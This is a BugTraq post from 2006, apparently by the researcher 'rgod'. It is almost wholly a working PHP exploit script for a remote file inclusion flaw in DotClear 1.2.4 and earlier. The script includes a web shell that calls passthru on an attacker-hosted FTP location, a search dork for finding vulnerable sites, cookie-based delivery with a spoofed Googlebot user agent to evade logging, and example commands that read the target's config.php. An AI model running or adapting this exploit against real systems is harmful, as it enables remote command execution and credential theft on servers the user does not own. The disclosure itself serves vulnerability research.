BugTraq
DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion Jun 03 2006 04:14PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote inclusion\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n\r\n";

echo "dork: \"propulsé par DotClear\" \"fil atom\" \"fil rss\" +commentaires\r\n\r\n";

/*

works with PHP5

register_globals=On,

allow_url_fopen=On

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to dotclear\r\n";

echo "ftp: a ftp location (without ending slash)\r\n";

echo "cmd: a shell command\r\n";

echo "Options:\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass (at) somehost (dot) com [email concealed] cat ./../conf/config.php\r\n";

echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass (at) somehost (dot) com [email concealed]/somedir ls -la -p81\r\n";

echo "php ".$argv[0]." target.com / ftp://username:pass (at) somehost (dot) com [email concealed] ls -la -P1.1.1.1:80\r\n";

echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n";

echo "<?php\r\n";

echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"c
md\"]);}\r\n";

echo "ini_set(\"max_execution_time\",0);\r\n";

echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";

echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";

echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";

echo "?>\r\n";

die;

}

/*

software site: http://www.dotclear.net/

vulnerable code in layout/prepend.php near lines 78-104:

...

# Variable de conf

$theme_path = $blog_dc_path.'/themes/';

$theme_uri = dc_app_url.'/themes/';

$img_path = dc_img_url;

# Définition du thème et de la langue

$__theme = dc_theme;

$__lang = dc_default_lang;

# Ajout des functions.php des plugins

$objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');

foreach ($objPlugins->getFunctions() as $pfunc) {

require_once $pfunc;

}

# Définition du template

if (!is_dir($theme_path.$__theme)) {

header('Content-type: text/plain');

echo 'Le thème '.$__theme.' n\'existe pas';

exit;

}

if (file_exists($theme_path.$__theme.'/template.php')) {

$dc_template_file = $theme_path.$__theme.'/template.php';

} else {

$dc_template_file = $theme_path.'default/template.php';

}

echo $dc_template_file;

# Prepend du template s'il existe

if (file_exists(dirname($dc_template_file).'/prepend.php')) {

require dirname($dc_template_file).'/prepend.php';

}

...

$blog_dc_path var is not sanitized before to be used to include files,

on PHP5, because is_dir() and file_exists() funcs support ftp wrappers,

you can include an arbitrary prepend.php file in a themes/default/ folder

from a remote resource, poc:

http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp:/
/username:password (at) somesite (dot) com [email concealed]&cmd=ls%20-la

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$loc=$argv[3];

$cmd="";$port=80;$proxy="";

for ($i=4; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$loc=urlencode($loc);

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"; //through cookies, log this

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"*deli*"))

{echo "exploit succeeded...\r\n";

$temp=explode("*deli*",$html);

die($temp[1]);

}

else

{echo "exploit failed...\r\n";

//debug

echo $html;

}

?>

original url: http://retrogod.altervista.org/dotclear_124_php5_xpl.html

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